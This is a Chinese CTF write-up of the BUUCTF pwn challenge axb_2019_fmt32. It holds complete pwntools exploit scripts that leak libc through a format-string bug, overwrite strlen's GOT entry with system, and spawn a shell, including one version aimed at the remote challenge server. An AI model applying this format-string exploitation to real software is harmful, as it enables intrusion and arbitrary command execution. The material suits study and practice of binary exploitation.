这目录

  • 起因
  • 分析
  • 思路
    • 泄露system的地址
    • 修改got表
    • 利用
    • 打远程

起因

之所以记录这个题,是因为我调试了一整天才调试好,一个小小的格串,实在把我卡住了。。。
参考:https://www.freesion.com/article/6942500911/ (写的很详细)

分析


程序逻辑:循环输入,然后用print输出

思路

这里read没有溢出,所以需要修改got表,来执行system函数,先用格串泄露system的地址,在把strlen的got表修改成system的地址,执行strlen,拿到shell

泄露system的地址

(这里我是拿的本机的libc调试的,后面发现打不通远程)(ubutun18)

输入aaaabbbb

0xffffcc9c:是我们读入数据的地方(也是%1$p)
0xffffccb4:是我们要泄露数据的地方
不算上面那个0x61的话 中间差了6个字节
那么我们就可以这样构造
‘a’+p32(read_got)+’%7$p’
再次试一下

可以看到已经显示出来我们想要的地址了,
0xf7e89d60就是我们要泄露的read的实际地址
但是前面还有一堆东西,我们可以这么构造,直接读出read_addr

求一下libc的基质,发现后三个为0,应该没问题

from pwn import*io=process('./axb')
elf=ELF('./axb')
libc=elf.libc
read_got=elf.got['read']payload='a'+p32(read_got)+'22'+'%7$s'
io.recvuntil('Please tell me:')
io.send(payload)io.recvuntil('22')
read_addr=u32(io.recv(4))
print(hex(read_addr))
libcbase=read_addr-libc.symbols['read']
print(hex(libcbase))
system_addr=libcbase+libc.symbols['system']

注意点:
第一个:我们刚开始输入的aaaabbbb发现没有四字节对齐,那么我们构造的时候要补一个’a‘
第二个:我们开始用%7$p泄露了read_got表,后面用%7$泄露read_addr,后者调试的时候容易报错,程序出错,所以用前面的调试好后,一换就行
第三个:接收的时候在payload加个字符串’22‘,后面不用算位数,直接recv(4)即可

修改got表

(先忽略fmtstr_payload 用最普通的方法泄露)
如法炮制,先确定strlen_got表的位置,
我们直接按上面的payload输进去 ‘a’+p32(strlen_got)+’%7$p’ 去调试

可以发现got表的位置在上面一个字节
0x70243725 对应着 ‘%7$p’
这样就可以确定位置,直接修改
我在前面随便输入了几个字节,可以发现后面变成了0x16

而当我尝试输入一个大数时,确发现他没有被修改

当时就卡在这里了,死活不明白为什么程序就修改不了,重新调试了好几遍发现还是如此,那么只能把4字节的数据分开修改
先求出system的高位和低位

hi_addr=(system_addr>>16)&0xffff
lo_addr=(system_addr)&0xffff

发送paylaod

payload='a'+p32(strlen_got)+p32(strlen_got+2)+'%'+str(lo_addr-0x12)+'c'+'%6$hn'+'%'+str(hi_addr-lo_addr)+'c'+'%7$hn'

成功修改

利用

现在的strlen被我们修改成了system ,那么在下一轮循环里我们只要输入/bin/sh即可
这里会在前面填入一些无关的字符(Repeater:)
那么我们输入的时候只需要加个 ; 就可以执行system

构造输入

payload=';/bin/sh\x00'

exp

from pwn import*
from LibcSearcher import*
io=process('./axb')
elf=ELF('./axb')
libc=elf.libc
read_got=elf.got['read']
strlen_addr=elf.got['strlen']
strlen_got=elf.got['strlen']
#io=remote('node4.buuoj.cn',25092)
payload='a'+p32(read_got)+'22'+'%7$s'
io.recvuntil('Please tell me:')
#
io.send(payload)
#print(io.recv())
io.recvuntil('22')
read_addr=u32(io.recv(4))
print(hex(read_addr))
libcbase=read_addr-libc.symbols['read']
print(hex(libcbase))
system_addr=libcbase+libc.symbols['system']
print(str(system_addr))
hi_addr=(system_addr>>16)&0xffff
lo_addr=(system_addr)&0xffff
#gdb.attach(io,'b *0x804874b')
#payload='a'+fmtstr_payload(7,{strlen_got:system_addr},write_size='byte',numbwritten=0xa)
payload='a'+p32(strlen_got)+p32(strlen_got+2)+'%'+str(lo_addr-0x12)+'c'+'%6$hn'+'%'+str(hi_addr-lo_addr)+'c'+'%7$hn'
io.recvuntil('Please tell me:')
io.send(payload)
print(hex(hi_addr))
print(hex(lo_addr))
print(hex(system_addr))
print(hex(read_got))
sleep(0.1)
payload=';/bin/sh\x00'
io.sendline(payload)
io.interactive()

打远程

本地可以打通,远程打不通
拿2.23的libc重新调试 ,发现在偏移上有所不同
原来的偏移是 7 6 7 远程的是 8 8 9
我这里直接看别人写的wp 修改了一下偏移 用libcsearcher打通 (不想调了)

from pwn import*
from LibcSearcher import*
#io=process('./axb')
io=remote('node4.buuoj.cn',26632)
elf=ELF('./axb')
#libc=elf.libc
read_got=elf.got['read']
strlen_addr=elf.got['strlen']
strlen_got=elf.got['strlen']
#io=remote('node4.buuoj.cn',25092)
payload='a'+p32(read_got)+'22'+'%8$s'
io.recvuntil('Please tell me:')
#
io.send(payload)
#print(io.recv())
io.recvuntil('22')
read_addr=u32(io.recv(4))
print(hex(read_addr))
libc=LibcSearcher('read',read_addr)
libcbase=read_addr-libc.dump('read')
#libcbase=read_addr-libc.symbols['read']
print(hex(libcbase))
system_addr=libcbase+libc.dump('system')
print(str(system_addr))
hi_addr=(system_addr>>16)&0xffff
lo_addr=(system_addr)&0xffff
#gdb.attach(io,'b *0x804874b')
#payload='a'+fmtstr_payload(8,{strlen_got:system_addr},write_size='int',numbwritten=0xa)
payload='a'+p32(strlen_got)+p32(strlen_got+2)+'%'+str(lo_addr-0x12)+'c'+'%8$hn'+'%'+str(hi_addr-lo_addr)+'c'+'%9$hn'
io.recvuntil('Please tell me:')
io.send(payload)
print(hex(hi_addr))
print(hex(lo_addr))
print(hex(system_addr))
print(hex(read_got))
#io.recvuntil('Please tell me:')
sleep(0.1)
payload=';/bin/sh\x00'
io.sendline(payload)
io.interactive()

看了别人的wp 还有拿one_gadget打的

buu axb_2019_fmt32(格串)相关推荐

  1. 【pwn】2022 极客大挑战

    [pwn]2022 极客大挑战 前言 又是一年的极客大挑战,又老了一岁,也只有打打新生赛才能有第一次接触ctf快乐了,现在各种比赛的pwn都是纯纯的坐牢~ 本次题解的所有脚本使用的类库都是本人自己整合 ...

  2. 小米9 小米8 红米K20PRO 红米K30PRO 小米10PRO 格机永久修复基带 无imei修复 串号

    格机的MTK手机 如 note8Pro K30至尊纪念 无需修复:线刷官网即可有基带(无串号 但有信号 不影响) 格机的高通的,如小米9 小米8 红米note7 红米note8 红米note9Pro ...

  3. pdfpcell输出换行_poi导出Excel(cell单元格里的一串文字,换行显示,设置字体)...

    /** * 民主推荐结果导出列表,班子换届 * * @param formBean * @param request * @param response * @param redirectAttrib ...

  4. Android EditText输入一串字符串自动每4个字符空一格,像输入银行卡卡号格式

    最近写类似需要像银行卡输入那样每4个字符空一格,网上看了很多都没有很好的解决索性自己写一个.主要思路就是活用beforeTextChanged().onTextChanged().afterTextC ...

  5. c语言向表格内存入数据,怎么实现横向到存入多个单元格,在列数固定的报表中逐格横向填充数据并折行...

    在很多需要打印的报表中,受限于纸张的大小,往往会限制行数或者固定列数.我们在<单据类报表的制作>一文中,曾经介绍了限制了行数的情况如何实现,现在,我们再来看一下,在固定了列数的情况下,如果 ...

  6. java excel导出 jxl_java使用JXL导出Excel及合并单元格

    jxl是一个韩国人写的java操作excel的工具,在开源世界中,有两套比较有影响的API可供使用,一个是POI,一个是jExcelAPI.其中功能相对POI比较弱一点.但jExcelAPI对中文支持 ...

  7. 3维线程格 gpu_基于CUDA的GPU并行优化重力三维反演

    重力勘探由于其成本较低.施工方法方便等, 被广泛应用于大尺度的地质异常体勘查.大范围找矿普查.以及小比例尺密度三维地质建模等工作中.目前常用的反演方法有两种, 2.5维联合3维界面反演[和三维物性反演 ...

  8. abap 转换成字符串_SAP ABAP 处理字符串串串串串串串串(详细)

    关于ABAP中处理字符串的方法,非常详细,学习过程中总结一下分享给大家,,, ABAP/4 提供多个处理类型 C 即字符串 的数据对象的关键字. 处理字符串 的方法有: 1.拆分字符串split 2. ...

  9. 由谈退格键的实现来学习字符编码

    我曾以为老师的话是真的,我曾以为老师会为自己说出的话负责,但事实证明很多时候是照本宣科. 这次在公司做Fcitx输入法时,想到退格删除的字节数的不同,即退格键一按到底删除的是一个字节还是两个字节或者多 ...

最新文章

  1. cvtvolor()关于HSV输出问题
  2. 使用镜像加速 Rtools 下载与安装
  3. Hello World on Impala
  4. [python] 之all()和any()内置函数
  5. 成功解决UserWarning: Update your `Conv2D` call to the Keras 2 API问题
  6. mysql主从同步配置超详细_MySQL主从同步配置
  7. Ubuntu20.04配置Java环境
  8. 一台微型计算机_Linux的上百万行代码,一台新的微型计算机以及Google和Microsoft的更多产品
  9. 使用 C1ReportDesigner 设计报表
  10. 江苏大学矩阵论、数理统计期末考试复习
  11. DevOps、CI、CD是什么关系
  12. LayaAir 缓动动画
  13. XNA Game Studio 2.0安装问题,崩溃了
  14. Cadence元器件封装库
  15. 一些不错的GI的资料链接
  16. eclipse启动慢?试试如下操作
  17. Java(JNI)Android使用JNI开发
  18. C++ 获取时间戳:下周一、月初、月中、月末
  19. 切换window窗口
  20. (7)stata的基本使用--受限被解释变量

热门文章

  1. ebay注册流程_ebay注册流程
  2. 昨天、今天、明天的写法
  3. git创建密钥连接的方法
  4. 给开发人员的时间管理建议
  5. 用后处理做一个烟雾的效果(也可以用指数雾达到类似的效果)
  6. 886n虚拟服务器,TP-Link TL-WR886N V4-V5设置虚拟服务器方法 | 192.168.1.1登陆页面
  7. 【Python】输入输出与运算符
  8. 统计分数 读取txt文件
  9. 学给学习java朋友的一封信
  10. 数字电路设计之Wallace树形乘法器